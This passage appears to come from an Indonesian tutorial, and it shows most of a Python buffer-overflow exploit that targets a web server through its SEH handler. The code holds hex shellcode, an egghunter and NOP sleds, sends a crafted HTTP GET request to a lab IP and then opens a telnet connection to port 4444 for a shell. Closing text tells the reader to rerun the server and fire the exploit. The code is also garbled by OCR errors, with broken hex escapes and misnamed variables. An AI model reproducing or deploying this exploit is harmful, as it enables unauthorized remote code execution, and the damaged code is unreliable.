"\xf4\xf5\x12\xcf\xde\xa9\x8b\x47\x56\xa4\x0b\x67\x67\xe2" +

"\x38\xc4\xcf\x65\xca\x06\xd4\x94\xcd\x02\x7c\xde\xf6\xc5" +

"\xf6\x8e\xb5\x74\x06\x9b\x2d\x14\x95\x40\xad\x53\x86\xde" +
"\xfa\x34\x78\x17\x6e\xa9\x23\x81\x8c\x30\xb5\xea\x 14\xef" +

"\x06\xf4\x95\x62\x32\xd2\x85\xba\xbb\x5e\xf1\x12\xea\x08" +
"xaf\xd4\x44\xfb\x19\x8f\x3b\x55\xcd\x56\x70\x66\x8b\x56" +

"\x5d\x10\x73\xe6\x08\x65\x8c\xc7\xdc\x61\xf5\x35\x 7d\x8d" +
"x2c\xfe\x8d\xc4\x6c\x57\x06\x81\xe5\xe5\x4b\x32\xd0\x2a" +
"\x72\xb1\xd0\xd2\x81\xa9\x91\xd7\xce\x6d\x4a\xaa\x5f\x18" +
"\x6c\x19\x5f\x09")

#32 bytes egghunter from Oxff
egghunter="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x 74\xef\xb8\x 54\x30\x 30\
x57\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

seh = "\xe1\x16\x40"

nseh = "\xeb\xd0\x90\x90"

nopl = "\x90" * 585

nop2 = "\x90" * 209

nop3 = "\x90" * 4

sploit = nop1 + shellcode + nop2 + egghunter + nop3 + nseh + seh

print len(sploit)

print len(shellcode)

buffer="GET /" + sploit + " HTTP/1.1\r\n"

buffer+="Host: 10.200.0.120\r\n"

buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1)\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"

s = socket.socket ( socket. AF_INET, socket. SOCK_STREAM )
s.connect(("10.200.0.120", 80))

s.send(buffer)

s.close()

print "exploit sent ! sleeping for a while to wait trigger ... please wait ..."
time.sleep(10)

os.system("telnet 10.200.0.120 4444™)



Selanjutnya jalankan ulang knet web server :
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Jalankan exploit di atas dan kita bisa berhasil mendapatkan shell pada mesin target:



root@kali: ~

File Edit WView Search Terminal Help
~# python final.py

- a while




